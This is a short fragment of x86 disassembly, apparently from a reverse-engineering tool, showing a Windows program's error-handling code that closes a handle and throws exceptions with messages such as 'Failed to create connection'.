push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a84a6ed
mov byte [ebp - 4], 3
jmp 0x2a85696d
mov dword [ebp - 4], 5
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84aa52
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84a6ed
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x68]
call fcn.2a880f1b
push 0x2a9f04a8
lea eax, [ebp - 0x68]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3